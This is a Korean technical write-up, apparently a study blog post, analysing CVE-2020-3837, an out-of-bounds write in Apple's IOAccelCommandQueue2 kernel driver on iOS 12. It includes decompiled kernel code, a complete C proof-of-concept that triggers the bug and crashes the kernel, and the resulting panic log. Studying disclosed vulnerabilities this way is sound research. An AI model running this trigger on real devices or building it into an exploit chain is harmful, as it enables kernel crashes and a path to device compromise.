관련 글과 코드들은 아래 링크에서 확인하실 수 있습니다.
https://github.com/wh1te4ever/xnu_1day_practice/blob/main/CVE-2020-3837
버그 알아보기
할당된 커널과 유저랜드 사이의 공유 메모리에서 OOB Write 취약점이 발생하는 취약점이다.
해당 취약점은 IOAccelCommandQueue2::processSegmentKernelCommand()에서 IOAccelKernelCommand를 파싱할 때 사용하는 크기 검사들이 잘못되어서 발생한다.
IOAccelKernelCommand는 8바이트 헤더(명령 타입과 크기)와, 그 뒤에 오는 타입별 구조화된 데이터로 구성된다. 특정 명령 타입에 대해 IOAccelKernelCommand의 크기가 해당 타입에 필요한 데이터를 포함하는지를 검증할 때, 그 검사에서 8바이트 헤더의 크기를 제외하는 것으로 보이며,
그 결과 processSegmentKernelCommand()는 최대 8바이트까지 범위를 벗어난 데이터를 파싱하게 된다.
이러한 명령을 수행하는 명령타입 2는 kIOAccelKernelCommandCollectTimeStamp에 해당된다. 그런데 여기서 mach_absolute_time 타임스탬프 값을 파싱하는 것 뿐만 아니라 쓰기까지 수행된다. 이로 인해 다음 페이지의 처음 1~8바이트가 타임스탬프 데이터로 덮어써질 수 있다.
void __fastcall IOAccelCommandQueue2::processSegmentKernelCommand(
IOAccelCommandQueue2 *this,
IOAccelSegmentResourceList *resourceList,
sIOAccelKernelCommand *kernelCommand,
sIOAccelKernelCommand *kernelCommandEnd)
{
uint32_t command_type; // w9
unsigned __int64 command_size; // x8
uint32_t error; // w8
unsigned __int64 command_size_minus_8; // x8
size_t length; // x22
void *buffer; // x21
void *to_free; // x0
vm_size_t to_free_size; // x1
int v14; // w8
IOAccelSegmentResourceList *v15; // x9
IOAccelSysMemory *accelSysMemory; // x21
unsigned __int64 v17; // x25
__int64 v18; // x0
__int64 address; // x22
unsigned int v20; // w23
unsigned int length_1; // w26
void *buffer_1; // x24
command_type = kernelCommand->command_type;
command_size = (char *)kernelCommandEnd - (char *)kernelCommand;
if ( kernelCommand->command_type != 2 )
{
...
}
// kIOAccelKernelCommandCollectTimeStamp = 2
if ( command_size <= 7 )
{
j___os_log_internal_5(
&IOAcceleratorFamily,
(os_log_t)&_os_log_default,
OS_LOG_TYPE_FAULT,
"%s:kIOAccelKernelCommandCollectTimeStamp: Insufficient bytes (%llu) for sIOAccelKernelCommandCollectTimeStampArgs (%lu)\n",
"virtual void IOAccelCommandQueue2::processSegmentKernelCommand(IOAccelSegmentResourceList *, const sIOAccelKernelC"
"ommand *, const sIOAccelKernelCommand *)",
(char *)kernelCommandEnd - (char *)kernelCommand,
8);
goto LABEL_11;
}
***(_QWORD *)&kernelCommand->field_8 = j__mach_absolute_time_75(); // OOB Write
}**
트리거 방법
우선 아래의 PoC 코드를 아이폰8 / iOS 12.0.1 환경에서 실행시켜야 하는데 약간의 변경사항을 적용해놓았다.
원래 게시된 poc 코드 중 서비스를 AGXAccelerator 대신에 IOGraphicsAccelerator2로,
IOAccelCommandQueue2_type은 iOS 12에서는 4 대신에 5로 수정시켜주어야 작동하였다.
#include <CoreFoundation/CoreFoundation.h>
#include <mach/mach.h>
#include <pthread.h>
typedef mach_port_t io_object_t;
typedef io_object_t io_connect_t;
typedef io_object_t io_service_t;
typedef char io_name_t[128];
#define IO_OBJECT_NULL (MACH_PORT_NULL)
extern const mach_port_t kIOMasterPortDefault;
kern_return_t IOObjectGetClass(io_object_t object, io_name_t className);
kern_return_t IOObjectRelease(io_object_t object);
io_service_t IOServiceGetMatchingService(mach_port_t masterPort, CFDictionaryRef matching CF_RELEASES_ARGUMENT);
kern_return_t IOServiceOpen(io_service_t service, task_port_t owningTask, uint32_t type, io_connect_t *connect);
kern_return_t IOServiceClose(io_connect_t connect);
CFMutableDictionaryRef IOServiceMatching(const char *name ) CF_RETURNS_RETAINED;
kern_return_t IOConnectAddClient(io_connect_t connect, io_connect_t client);
kern_return_t IOConnectCallMethod(mach_port_t connection, uint32_t selector, const uint64_t *input, uint32_t inputCnt, const void *inputStruct, size_t inputStructCnt, uint64_t *output, uint32_t *outputCnt, void *outputStruct, size_t *outputStructCnt) AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
kern_return_t IOConnectCallAsyncMethod(mach_port_t connection, uint32_t selector, mach_port_t wake_port, uint64_t *reference, uint32_t referenceCnt, const uint64_t *input, uint32_t inputCnt, const void *inputStruct, size_t inputStructCnt, uint64_t *output, uint32_t *outputCnt, void *outputStruct, size_t *outputStructCnt) AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
const int IOAccelCommandQueue2_type = 5;
const int IOAccelSharedUserClient2_type = 2;
const int IOAccelSharedUserClient2_create_shmem_selector = 5;
const int IOAccelCommandQueue2_set_notification_port_selector = 0;
const int IOAccelCommandQueue2_submit_command_buffers_selector = 1;
struct IOAccelDeviceShmemData {
void *data;
uint32_t length;
uint32_t shmem_id;
};
struct IOAccelCommandQueueSubmitArgs_Header {
uint32_t _unk_1;
uint32_t count;
};
struct IOAccelCommandQueueSubmitArgs_Command {
uint32_t command_buffer_shmem_id;
uint32_t segment_list_shmem_id;
uint64_t notify_1;
uint64_t notify_2;
};
struct IOAccelSegmentListHeader {
uint32_t field_0;
uint32_t field_4;
uint32_t segment_count;
uint32_t length;
};
struct IOAccelSegmentResourceList_ResourceGroup {
uint32_t resource_id[6];
uint8_t field_18[48];
uint16_t resource_flags[6];
uint8_t field_54[2];
uint16_t resource_count;
};
struct IOAccelSegmentResourceListHeader {
uint64_t field_0;
uint32_t kernel_commands_start_offset;
uint32_t kernel_commands_end_offset;
int total_resources;
uint32_t resource_group_count;
struct IOAccelSegmentResourceList_ResourceGroup resource_groups[];
};
struct IOAccelKernelCommand {
uint32_t type;
uint32_t size;
};
struct IOAccelKernelCommand_CollectTimeStamp {
struct IOAccelKernelCommand command;
uint64_t timestamp;
};
static struct IOAccelDeviceShmemData *
IOAccelSharedUserClient2_create_shmem(io_connect_t IOAccelSharedUserClient2, size_t size) {
struct IOAccelDeviceShmemData *shmem = malloc(sizeof(*shmem));
assert(shmem != NULL);
size_t out_size = sizeof(*shmem);
uint64_t shmem_size = size;
kern_return_t kr = IOConnectCallMethod(IOAccelSharedUserClient2,
IOAccelSharedUserClient2_create_shmem_selector,
&shmem_size, 1,
NULL, 0,
NULL, NULL,
shmem, &out_size);
assert(kr == KERN_SUCCESS);
return shmem;
}
static void
IOAccelCommandQueue2_set_notification_port(io_connect_t IOAccelCommandQueue2, mach_port_t notification_port) {
kern_return_t kr = IOConnectCallAsyncMethod(IOAccelCommandQueue2,
IOAccelCommandQueue2_set_notification_port_selector,
notification_port,
NULL, 0,
NULL, 0,
NULL, 0,
NULL, NULL,
NULL, NULL);
assert(kr == KERN_SUCCESS);
}
static void
IOAccelCommandQueue2_submit_command_buffers(io_connect_t IOAccelCommandQueue2,
const struct IOAccelCommandQueueSubmitArgs_Header *submit_args,
size_t size) {
kern_return_t kr = IOConnectCallMethod(IOAccelCommandQueue2,
IOAccelCommandQueue2_submit_command_buffers_selector,
NULL, 0,
submit_args, size,
NULL, NULL,
NULL, NULL);
assert(kr == KERN_SUCCESS);
}
static void *
notification_recv_func(void *arg) {
mach_port_t notification_port = (mach_port_t)(uintptr_t)arg;
for (;;) {
struct {
mach_msg_header_t hdr;
uint8_t data[0x4000];
} msg = {};
kern_return_t kr = mach_msg(&msg.hdr, MACH_RCV_MSG, 0,
sizeof(msg), notification_port,
MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if (kr == KERN_SUCCESS) {
int error = *(int *)((uint8_t *)&msg + 0x94);
uint64_t notify = *(uint64_t *)((uint8_t *)&msg + 0x64);
printf("notification %llx: error = %d\n", notify, error);
}
}
}
void poc() {
kern_return_t kr;
io_service_t IOGraphicsAccelerator2 = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOGraphicsAccelerator2"));
assert(IOGraphicsAccelerator2 != IO_OBJECT_NULL);
io_connect_t IOAccelCommandQueue2 = MACH_PORT_NULL;
IOServiceOpen(IOGraphicsAccelerator2, mach_task_self(), IOAccelCommandQueue2_type, &IOAccelCommandQueue2);
assert(IOAccelCommandQueue2 != IO_OBJECT_NULL);
io_connect_t IOAccelSharedUserClient2 = MACH_PORT_NULL;
IOServiceOpen(IOGraphicsAccelerator2, mach_task_self(), IOAccelSharedUserClient2_type, &IOAccelSharedUserClient2);
assert(IOAccelSharedUserClient2 != IO_OBJECT_NULL);
kr = IOConnectAddClient(IOAccelCommandQueue2, IOAccelSharedUserClient2);
assert(kr == KERN_SUCCESS);
struct IOAccelDeviceShmemData *command_buffer_shmem = IOAccelSharedUserClient2_create_shmem(IOAccelSharedUserClient2, 0x4000);
struct IOAccelDeviceShmemData *segment_list_shmem = IOAccelSharedUserClient2_create_shmem(IOAccelSharedUserClient2, 0x4000);
mach_port_t notification_port = 0;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, ¬ification_port);
IOAccelCommandQueue2_set_notification_port(IOAccelCommandQueue2, notification_port);
pthread_t notification_recv_thread;
pthread_create(¬ification_recv_thread, NULL, notification_recv_func, (void *)(uintptr_t)notification_port);
struct {
struct IOAccelCommandQueueSubmitArgs_Header header;
struct IOAccelCommandQueueSubmitArgs_Command command;
} submit_args = {};
submit_args.header.count = 1;
submit_args.command.command_buffer_shmem_id = command_buffer_shmem->shmem_id;
submit_args.command.segment_list_shmem_id = segment_list_shmem->shmem_id;
struct IOAccelSegmentListHeader *slh = (void *)segment_list_shmem->data;
slh->length = 0x100;
slh->segment_count = 1;
struct IOAccelSegmentResourceListHeader *srlh = (void *)(slh + 1);
srlh->kernel_commands_start_offset = 0;
srlh->kernel_commands_end_offset = 0x4000;
struct IOAccelKernelCommand_CollectTimeStamp *cmd1 = (void *)command_buffer_shmem->data;
cmd1->command.type = 2;
cmd1->command.size = 0x4000 - 8;
struct IOAccelKernelCommand_CollectTimeStamp *cmd2 = (void *)((uint8_t *)cmd1 + cmd1->command.size);
cmd2->command.type = 2;
cmd2->command.size = 8;
#define KTRW 0
printf("IOAccelCommandQueue2::submit_command_buffers()\n");
#if KTRW
sleep(4);
#endif
IOAccelCommandQueue2_submit_command_buffers(IOAccelCommandQueue2, &submit_args.header, sizeof(submit_args));
printf("timestamp = %llx\n", cmd1->timestamp);
#if KTRW
sleep(4);
#endif
}
int main(int argc, char *argv[], char *envp[]) {
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
poc();
usleep(100000);
exit(1);
});
while(1) {};
return 0;
}
그러면 아래와 같이 패닉이 발생한다.
./jtool2 --symbolicate ~/Downloads/panic-full-2025-08-29-013705.123.ips
Symbolicating /Users/seo/Downloads/panic-full-2025-08-29-013705.123.ips
Looking for companion file matching 95FA03CA-7760-32CB-96B7-6A3C11A54E0E
Companion file: ./kerneldec_1201_8.ARM64.95FA03CA-7760-32CB-96B7-6A3C11A54E0E
Kernel slide: 0x14600000
LR: 0xfffffff0072080f0 SYM: _sleh_synchronous + 0x864
LR: 0xfffffff0070dd610 SYM: _fleh_synchronous + 0x28
LR: 0xfffffff007112080 SYM: _DebuggerSaveState + 0x10
LR: 0xfffffff0071123f8 SYM: _workq_constrained_allowance + 0x1a0
LR: 0xfffffff00711224c SYM: _panic + 0x28
LR: 0xfffffff0072077cc SYM: _panic_with_thread_kernel_state + 0xdc
LR: 0xfffffff0072087f8 SYM: _sleh_synchronous + 0xf6c
LR: 0xfffffff0070dd610 SYM: _fleh_synchronous + 0x28
LR: 0xfffffff006cfea8c SYM: __ZN20IOAccelCommandQueue227processSegmentKernelCommandEP26IOAccelSegmentResourceListPK20IOAccelKernelCommandS4_ + 0x1c4
LR: 0xfffffff006cfecd4 SYM: __ZN20IOAccelCommandQueue228processSegmentKernelCommandsEP26IOAccelSegmentResourceListPK20IOAccelKernelCommandS4_ + 0x68
LR: 0xfffffff006cfedc8 SYM: __ZN20IOAccelCommandQueue214processSegmentEP26IOAccelSegmentResourceListPK20IOAccelKernelCommandS4_ + 0x54
LR: 0xfffffff006cff220 SYM: __ZN20IOAccelCommandQueue220processCommandBufferEjj + 0x224
LR: 0xfffffff006d000ec SYM: __ZN20IOAccelCommandQueue222process_command_bufferEjj + 0x3ec
LR: 0xfffffff006cfe5d0 SYM: __ZN20IOAccelCommandQueue221submit_command_bufferEjjyy + 0xd0
LR: 0xfffffff006cfe3dc SYM: __ZN20IOAccelCommandQueue222submit_command_buffersEPK29IOAccelCommandQueueSubmitArgs + 0x270
LR: 0xfffffff006cfd624 SYM: __ZN20IOAccelCommandQueue224s_submit_command_buffersEPS_PvP25IOExternalMethodArguments + 0x11c
LR: 0xfffffff0075ec894 SYM: __ZN12IOUserClient14externalMethodEjP25IOExternalMethodArgumentsP24IOExternalMethodDispatchP8OSObjectPv + 0x1bc
LR: 0xfffffff0075f4594 SYM: _is_io_connect_method + 0x18c
LR: 0xfffffff0071de830 SYM: __Xio_connect_method + 0x180
LR: 0xfffffff0070f6080 SYM: _ipc_kmsg_send + 0x394
LR: 0xfffffff0071084f0 SYM: _mach_msg_overwrite_trap + 0x9b8
LR: 0xfffffff007208898 SYM: _sleh_synchronous + 0x100c
LR: 0xfffffff0070dd610 SYM: _fleh_synchronous + 0x28
LR: 0x1750d9ed0 SYM: (null) + 0x28
...
Panic Log:
panic(cpu 0 caller 0xfffffff01b8077cc): Kernel data abort. (saved state: 0xffffffe03d582bc0)
x0: 0x000000007cd5e02e x1: 0xffffffe000a93900 x2: 0xffffffe032ccfff8 x3: 0xffffffe032cd0000
x4: 0xfffffff01b2fe8c8 x5: 0x000000000000166c x6: 0x0000000000000000 x7: 0xffffffe005da8200
x8: 0x000000007cd5e02e x9: 0x0000000000000000 x10: 0x0000000000003107 x11: 0x0000000000000140
x12: 0xfffffff01bc8d9d0 x13: 0xffffffe000a90308 x14: 0x0000000000000005 x15: 0xffffffe032cd8000
x16: 0xfffffff01b80c574 x17: 0x0000000000000003 x18: 0xfffffff01b6dd000 x19: 0xffffffe001aeb000
x20: 0xffffffe032ccfff8 x21: 0xffffffe000a93900 x22: 0xffffffe032cd0000 x23: 0x0000000000000010
x24: 0x0000000000004000 x25: 0x0000000000000000 x26: 0xffffffe032ba4010 x27: 0xffffffe000a93900
x28: 0xffffffe032ba4028 fp: 0xffffffe03d582f70 lr: 0xfffffff01b2fea8c sp: 0xffffffe03d582f10
pc: 0xfffffff01b2fea8c cpsr: 0x20400304 esr: 0x96000047 far: 0xffffffe032cd0000
Debugger message: panic
Memory ID: 0xff
OS version: 16A404
Kernel version: Darwin Kernel Version 18.0.0: Tue Aug 14 22:07:16 PDT 2018; root:xnu-4903.202.2~1\\/RELEASE_ARM64_T8015
...
Crashed at:
com.apple.iokit.IOAcceleratorFamily:__text:FFFFFFF006CFEA88 loc_FFFFFFF006CFEA88 ; CODE XREF: IOAccelCommandQueue2::processSegmentKernelCommand(IOAccelSegmentResourceList *,IOAccelKernelCommand const*,IOAccelKernelCommand const*)+84↑j
com.apple.iokit.IOAcceleratorFamily:__text:FFFFFFF006CFEA88 BL j__mach_absolute_time_75
com.apple.iokit.IOAcceleratorFamily:__text:FFFFFFF006CFEA8C STR X0, [X20,#8] <---- CRASH POINT !!!!
com.apple.iokit.IOAcceleratorFamily:__text:FFFFFFF006CFEA90 B loc_FFFFFFF006CFEA00
돌아와서 POC 코드를 다시한번 살펴보자.
1. IOGraphicsAccelerator2 서비스 클라이언트 연결
먼저 IOServiceGetMatchingService 함수로 그래픽 가속화 관련 서비스인 IOGraphicsAccelerator2 서비스를 찾는다. 이후로 IOServiceOpen 함수를 호출하는데, 보통 사용자 공간 프로세스가 커널에 등록된 I/O 서비스 드라이버에 유저 클라이언트를 여는데 주로 활용된다.
그리고 IOConnectAddClient 함수를 호출하여 해당 타입으로 열린 각각의 유저 클라이언트는 핸들을 서로 연결시켜, 한 쪽이 다른 쪽이 만든 리소스나 매핑을 이용할 수 있도록 만든다.
void poc() {
kern_return_t kr;
io_service_t IOGraphicsAccelerator2 = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOGraphicsAccelerator2"));
assert(IOGraphicsAccelerator2 != IO_OBJECT_NULL);
io_connect_t IOAccelCommandQueue2 = MACH_PORT_NULL;
IOServiceOpen(IOGraphicsAccelerator2, mach_task_self(), IOAccelCommandQueue2_type, &IOAccelCommandQueue2);
assert(IOAccelCommandQueue2 != IO_OBJECT_NULL);
io_connect_t IOAccelSharedUserClient2 = MACH_PORT_NULL;
IOServiceOpen(IOGraphicsAccelerator2, mach_task_self(), IOAccelSharedUserClient2_type, &IOAccelSharedUserClient2);
assert(IOAccelSharedUserClient2 != IO_OBJECT_NULL);
kr = IOConnectAddClient(IOAccelCommandQueue2, IOAccelSharedUserClient2);
assert(kr == KERN_SUCCESS);
IOServiceOpen 함수는 3번째 인자에 user_client 타입이 필요로 하는데,
IOGraphicsAccelerator2 서비스의 경우, kernelcache에서 IOGraphicsAccelerator2::newUserClient 함수를 통해 각 타입에 따라 어떤 역할을 수행하는지 알 수 있다.
newUserClient 함수를 더 정확히 살펴봐야 알겠지만,
IOGraphicsAccelerator2 관련 서비스의 userclient 타입 2는 IOAccelContext2 객체를, 타입 5는 IOAccelDevice2 객체를 각각 초기화하는것을 볼 수 있었다.
__int64 __fastcall IOGraphicsAccelerator2::newUserClient(
struct_a1 *a1,
task *a2,
__int64 securityID,
__int64 type,
IOUserClient **a5)
{
__int64 v9; // x19
proc *bsdtask_info_9; // x0
__int64 v11; // x27
int CountWithPID; // w24
int v13; // w25
int v14; // w26
int v15; // w0
unsigned int v16; // w9
unsigned int dwordBBC; // w8
__int64 v18; // x0
IOUserClient *v19; // x23
__int64 v20; // x0
__int64 v21; // x0
__int64 v22; // x0
__int64 i; // x0
__int64 j; // x0
_BYTE v26[8]; // [xsp+38h] [xbp-58h] BYREF
v9 = 0xE00002BELL;
if ( !a2 )
return 0xE00002C2LL;
*a5 = 0;
a1->dword93C = 1;
j__OSIncrementAtomic_29(&a1->sint3290);
j__lck_mtx_lock_14(a1->plck_mtx88);
j__OSDecrementAtomic_2(&a1->sint3290);
((void (__fastcall *)(struct_a1 *, void *, _QWORD))a1->IOGA2_vt->field_538)(a1, &empty, 0);
bsdtask_info_9 = (proc *)j__get_bsdtask_info_9(a2);
if ( bsdtask_info_9 )
{
v11 = j__proc_pid_13(bsdtask_info_9);
CountWithPID = IOAccelContextList::getCountWithPID(&a1->pqword9D8, v11);
v13 = IOAccelCommandQueueList::getCountWithPID(&a1->gap9E0[8], v11);
v14 = IOAccelSharedUserClientList::getCountWithPID(&a1->gap9E0[56], v11);
v15 = IOAccelDeviceList::getCountWithPID(&a1->gap9E0[24], v11);
v16 = v13 + CountWithPID + v14 + v15;
dwordBBC = a1->dwordBBC;
if ( v16 <= dwordBBC )
{
if ( v16 > a1->dwordBB8 )
j___os_log_internal_5(
&IOAcceleratorFamily,
(os_log_t)&_os_log_default,
OS_LOG_TYPE_FAULT,
"%s: Too many contexts (%d) + queues (%d) + device (%d) + shared (%d) created, possibly leaking?\n",
"virtual IOReturn IOGraphicsAccelerator2::newUserClient(task_t, void *, UInt32, IOUserClient **)",
CountWithPID,
v13,
v15,
v14);
}
else
{
j___os_log_internal_5(
&IOAcceleratorFamily,
(os_log_t)&_os_log_default,
OS_LOG_TYPE_FAULT,
"%s: contexts(%d) + queues (%d) + device (%d) + shared (%d) exceeding limit (%d), failing context creation\n",
"virtual IOReturn IOGraphicsAccelerator2::newUserClient(task_t, void *, UInt32, IOUserClient **)",
CountWithPID,
v13,
v15,
v14,
dwordBBC);
if ( (a1->byteB5C & 8) != 0 )
{
((void (__fastcall *)(struct_a1 *, void *, _QWORD))a1->IOGA2_vt->__ZN22IOGraphicsAccelerator221acceleratorWillUnlockEPKci)(
a1,
&empty,
0);
j__lck_mtx_unlock_14(a1->plck_mtx88);
return 0xE0078001LL;
}
}
}
((void (__fastcall *)(struct_a1 *, void *, _QWORD))a1->IOGA2_vt->__ZN22IOGraphicsAccelerator221acceleratorWillUnlockEPKci)(
a1,
&empty,
0);
j__lck_mtx_unlock_14(a1->plck_mtx88);
switch ( (int)type )
{
...
case 2: // kIOAccelContext2Type
v20 = ((__int64 (__fastcall *)(struct_a1 *))a1->IOGA2_vt->field_688)(a1);// sub_FFFFFFF006D0F980
v19 = (IOUserClient *)v20;
if ( v20 )
{
if ( IOAccelContext2::init(v20, 0, a2) )
goto LABEL_17;
goto LABEL_22;
}
break;
case 3:
...
LABEL_17:
if ( !((unsigned int (__fastcall *)(IOUserClient *, struct_a1 *))v19->attach)(v19, a1) )
goto LABEL_40;
if ( !((unsigned int (__fastcall *)(IOUserClient *, struct_a1 *))v19->start)(v19, a1) )
{
if ( OSMetaClassBase::safeMetaCast(v19, &stru_FFFFFFF0078C61D0) )
{
sub_FFFFFFF006CE668C(v26, &a1->gap9E0[24]);
for ( i = sub_FFFFFFF006CE6698(v26); i; i = sub_FFFFFFF006CE6698(v26) )
{
if ( (IOUserClient *)i == v19 )
j__panic_21(
"\"Did you forget to call deviceStop when deviceStart failed?\"@/BuildRoot/Library/Caches/com.apple.xbs"
"/Sources/IOAcceleratorFamily/IOAcceleratorFamily-398.8.1/Kext2/IOGraphicsAccelerator.cpp:1706");
}
}
else if ( OSMetaClassBase::safeMetaCast(v19, &stru_FFFFFFF0078C64C8) )
{
sub_FFFFFFF006CE6900(v26, &a1->gap9E0[56]);
for ( j = sub_FFFFFFF006CE690C(v26); j; j = sub_FFFFFFF006CE690C(v26) )
{
if ( (IOUserClient *)j == v19 )
j__panic_21(
"\"Did you forget to call sharedStop when sharedStart failed?\"@/BuildRoot/Library/Caches/com.apple.xbs"
"/Sources/IOAcceleratorFamily/IOAcceleratorFamily-398.8.1/Kext2/IOGraphicsAccelerator.cpp:1716");
}
}
((void (__fastcall *)(IOUserClient *, struct_a1 *))v19->detach)(v19, a1);
goto LABEL_40;
}
*a5 = v19;
((void (__fastcall *)(IOUserClient *))v19->retain)(v19);
v9 = 0;
}
break;
case 5: // kIOAccelDevice2Type
v22 = a1->IOGA2_vt->__ZN22IOGraphicsAccelerator29newDeviceEv((IOGraphicsAccelerator2 *)a1);
v19 = (IOUserClient *)v22;
if ( v22 )
{
if ( !IOAccelDevice2::init(v22, 0, a2) )
goto LABEL_22;
goto LABEL_26;
}
break;
default:
v21 = a1->IOGA2_vt->__ZN22IOGraphicsAccelerator210newContextEj((IOGraphicsAccelerator2 *)a1, type);
v19 = (IOUserClient *)v21;
if ( !v21 )
return 0xE00002C2LL;
if ( IOAccelContext2::init(v21, 0, a2) )
{
LABEL_26:
if ( ((unsigned int (__fastcall *)(IOUserClient *, struct_a1 *))v19->attach)(v19, a1) )
{
v9 = 0;
*a5 = v19;
}
else
{
LABEL_40:
((void (__fastcall *)(IOUserClient *))v19->release_0)(v19);
v9 = 0xE00002C9LL;
}
}
else
{
LABEL_22:
((void (__fastcall *)(IOUserClient *))v19->release_0)(v19);
}
break;
}
return v9;
}
2. 공유 메모리 생성
2개의 커널과 유저 프로세스 공유하는 메모리를 각각 0x4000 크기만큼 할당시킨다.
const int IOAccelSharedUserClient2_create_shmem_selector = 5;
...
static struct IOAccelDeviceShmemData *
IOAccelSharedUserClient2_create_shmem(io_connect_t IOAccelSharedUserClient2, size_t size) {
struct IOAccelDeviceShmemData *shmem = malloc(sizeof(*shmem));
assert(shmem != NULL);
size_t out_size = sizeof(*shmem);
uint64_t shmem_size = size;
kern_return_t kr = IOConnectCallMethod(IOAccelSharedUserClient2,
IOAccelSharedUserClient2_create_shmem_selector,
&shmem_size, 1,
NULL, 0,
NULL, NULL,
shmem, &out_size);
assert(kr == KERN_SUCCESS);
return shmem;
}
...
struct IOAccelDeviceShmemData *command_buffer_shmem = IOAccelSharedUserClient2_create_shmem(IOAccelSharedUserClient2, 0x4000);
struct IOAccelDeviceShmemData *segment_list_shmem = IOAccelSharedUserClient2_create_shmem(IOAccelSharedUserClient2, 0x4000);
이러한 이유는 IOAccelCommandQueue2::submit_command_buffer 함수를 호출시킬때, 하나는 kcmd_shmem, 다른 하나는 seglist_shmem으로 각각의 공유메모리 2개를 전달시킬 필요가 있기 때문이다.
__int64 __fastcall IOAccelCommandQueue2::submit_command_buffers(
IOAccelCommandQueue2 *this,
IOAccelCommandQueue2Args *args)
{
__int64 ret; // x21
IOGraphicsAccelerator2 *graphicsAccelerator; // x22
IOGraphicsAccelerator2 *graphicsAccelerator2; // x19
unsigned __int64 idx; // x25
uintptr_t pid; // x22
uintptr_t cq_id; // x23
uintptr_t v10; // x24
uintptr_t RegistryEntryID; // x0
IOGraphicsAccelerator2 *v12; // x22
IOGraphicsAccelerator2 *v13; // x22
uintptr_t v14; // x22
uintptr_t v15; // x23
uintptr_t v16; // x24
uintptr_t v17; // x0
IOGraphicsAccelerator2 *v18; // x0
IOGraphicsAccelerator2 *v19; // x19
ret = 0xE00002BCLL;
graphicsAccelerator = this->graphicsAccelerator2;
j__OSIncrementAtomic_29(&graphicsAccelerator->lockCount);
j__lck_mtx_lock_14(graphicsAccelerator->lock);
j__OSDecrementAtomic_2(&graphicsAccelerator->lockCount);
IOGraphicsAccelerator2::lock_busy();
((void (__fastcall *)(IOGraphicsAccelerator2 *, void *, _QWORD))graphicsAccelerator->vtable->__ZN22IOGraphicsAccelerator218acceleratorDidLockEPKci)(
graphicsAccelerator,
&empty,
0);
if ( this->submit_command_buffers_busy )
{
....
return 0xE00002E2LL;
}
else
{
...
if ( args->count )
{
idx = 0;
do
{
if ( (((__int64 (__fastcall *)(IOAccelCommandQueue2 *))this->vtable->__ZN20IOAccelCommandQueue222canSubmitCommandBufferEv)(this)
& 1) == 0 )
{
pid = (unsigned int)this->pid;
cq_id = this->cq_id;
v10 = *(unsigned int *)&this->gap2[11];
RegistryEntryID = IORegistryEntry::getRegistryEntryID((IORegistryEntry *)this->graphicsAccelerator2);
j__kernel_debug_10(0x85020080, pid, cq_id, v10, RegistryEntryID, 0);
...
}
**IOAccelCommandQueue2::submit_command_buffer(
this,
args->command[idx].kcmd_shmem,
args->command[idx].seglist_shmem,
*(_QWORD *)&args->command[idx].notify_1,
*(_QWORD *)&args->command[idx].notify_2);**
++idx;
}
while ( idx < args->count );
}
v18 = this->graphicsAccelerator2;
*(_DWORD *)&v18[21].gap8[72] = this->pid;
IOGraphicsAccelerator2::enable_gart_collector((__int64)v18);
ret = 0;
...
}
return ret;
}
3. OOB Write 트리거시키기
앞서 IOAccelCommandQueue2::submit_command_buffers를 호출하기 전에 IOAccelCommandQueue2::set_notification_port를 먼저 호출해야 한다.
mach_port_allocate로 수신용(mach receive) 포트인 notification_port를 만든 뒤, 그 포트를 set_notification_port 함수에 전달하여 호출하여 비동기 알림 포트를 등록한다.
마지막으로, pthread_create로 비동기적으로 스레드를 띄워 mach_msg 함수로 알림을 계속 받게끔 한다.
static void
IOAccelCommandQueue2_set_notification_port(io_connect_t IOAccelCommandQueue2, mach_port_t notification_port) {
kern_return_t kr = IOConnectCallAsyncMethod(IOAccelCommandQueue2,
IOAccelCommandQueue2_set_notification_port_selector,
notification_port,
NULL, 0,
NULL, 0,
NULL, 0,
NULL, NULL,
NULL, NULL);
assert(kr == KERN_SUCCESS);
}
...
static void *
notification_recv_func(void *arg) {
mach_port_t notification_port = (mach_port_t)(uintptr_t)arg;
for (;;) {
struct {
mach_msg_header_t hdr;
uint8_t data[0x4000];
} msg = {};
kern_return_t kr = mach_msg(&msg.hdr, MACH_RCV_MSG, 0,
sizeof(msg), notification_port,
MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if (kr == KERN_SUCCESS) {
int error = *(int *)((uint8_t *)&msg + 0x94);
uint64_t notify = *(uint64_t *)((uint8_t *)&msg + 0x64);
printf("notification %llx: error = %d\n", notify, error);
}
}
}
...
mach_port_t notification_port = 0;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, ¬ification_port);
IOAccelCommandQueue2_set_notification_port(IOAccelCommandQueue2, notification_port);
pthread_t notification_recv_thread;
pthread_create(¬ification_recv_thread, NULL, notification_recv_func, (void *)(uintptr_t)notification_port);
이러한 수신용 알림 포트를 만들어야되는 이유는,
만들지 않을 경우 IOAccelCommandQueue2::submit_command_buffers 에서 0xE00002BC 에러값을 반환한다.
*(_QWORD *)&this->gap1[4] 가 NULL이 아니어야 에러코드를 반환하지 않는다.
__int64 __fastcall IOAccelCommandQueue2::submit_command_buffers(
IOAccelCommandQueue2 *this,
IOAccelCommandQueue2Args *args)
{
__int64 ret; // x21
IOGraphicsAccelerator2 *graphicsAccelerator; // x22
IOGraphicsAccelerator2 *graphicsAccelerator2; // x19
unsigned __int64 idx; // x25
uintptr_t pid; // x22
uintptr_t cq_id; // x23
uintptr_t v10; // x24
uintptr_t RegistryEntryID; // x0
IOGraphicsAccelerator2 *v12; // x22
IOGraphicsAccelerator2 *v13; // x22
uintptr_t v14; // x22
uintptr_t v15; // x23
uintptr_t v16; // x24
uintptr_t v17; // x0
IOGraphicsAccelerator2 *v18; // x0
IOGraphicsAccelerator2 *v19; // x19
ret = 0xE00002BCLL;
...
if ( *(_QWORD *)&this->gap1[4] && *(_QWORD *)&this->gap2[43] )
{
...
IOAccelCommandQueue2::submit_command_buffer(
this,
args->command[idx].kcmd_shmem,
args->command[idx].seglist_shmem,
*(_QWORD *)&args->command[idx].notify_1,
*(_QWORD *)&args->command[idx].notify_2);
++idx;
}
while ( idx < args->count );
}
v18 = this->graphicsAccelerator2;
*(_DWORD *)&v18[21].gap8[72] = this->pid;
IOGraphicsAccelerator2::enable_gart_collector((__int64)v18);
ret = 0;
}
...
}
return ret;
}
gap1[4] 필드는 set_notification_port 호출을 통해 NULL이 아니게끔 만들 수 있다.
